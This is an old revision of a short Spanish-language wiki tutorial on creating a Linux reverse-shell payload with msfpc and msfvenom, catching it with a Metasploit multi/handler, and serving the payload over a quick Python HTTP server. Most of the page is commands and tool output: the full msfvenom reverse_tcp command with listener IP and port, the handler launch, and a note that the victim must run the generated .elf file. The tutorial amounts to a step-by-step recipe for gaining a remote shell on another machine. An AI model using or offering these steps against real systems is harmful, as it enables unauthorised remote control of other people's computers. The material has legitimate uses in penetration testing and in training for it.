Site Tools


reverse_shell_with_metaexploit

This is an old revision of the document!


Reverse shell with metaexploit

Vamos a crear un reverse shell y a usarlo mediante un payload, metaexploit y meterpreter

Creación de la payload

Para crear la payload usaremos mfsvenom, pero para simplificar se usará msfpc el cual es un wrapper que facilita la creación de payloads. (https://github.com/g0tmi1k/mpc)

Opciones por defecto: *Port 443 *MSF *REVERSE *STAGELESS *TCP Ejemplo de uso:

./msfpc.sh Linux
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)

 [i] Use which interface - IP address?:
 [i]   1.) eth0 - 192.168.122.59
 [i]   2.) eth1 - 192.168.200.10
 [i]   3.) lo - 127.0.0.1
 [i]   4.) wan - 83.42.174.42
 [?] Select 1-4, interface or IP address: 2

 [i]   IP: 192.168.200.10
 [i] PORT: 443
 [i] TYPE: linux (linux/x86/shell/reverse_tcp)
 [i]  CMD: msfvenom -p linux/x86/shell/reverse_tcp -f elf \
  --platform linux -a x86 -e generic/none LHOST=192.168.200.10 LPORT=443 \
  > '/home/jorpilo/git/linux-shell-staged-reverse-tcp-443.elf'

 [i] linux shell created: '/home/user/git/linux-shell-staged-reverse-tcp-443.elf'

 [i] MSF handler file: '/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc'
 [i] Run: msfconsole -q -r '/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

Posibles payloads a generar:

Esto genera dos archivos: *linux-shell-staged-reverse-tcp-443.elf

Archivo que el atacado debe ejecutar *linux-shell-staged-reverse-tcp-443-elf.rc

Payload para multi/handler de metaexploit

Trucos:

Generar un servidor de ficheros rapidos en el directorio

python2 -m SimpleHTTPServer 8080

Ejecutar metaexploit con todo configurado

#Copiado de la salida de msfpc
sudo msfconsole -q -r '/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc'
reverse_shell_with_metaexploit.1528923805.txt.gz · Last modified: by jorpilo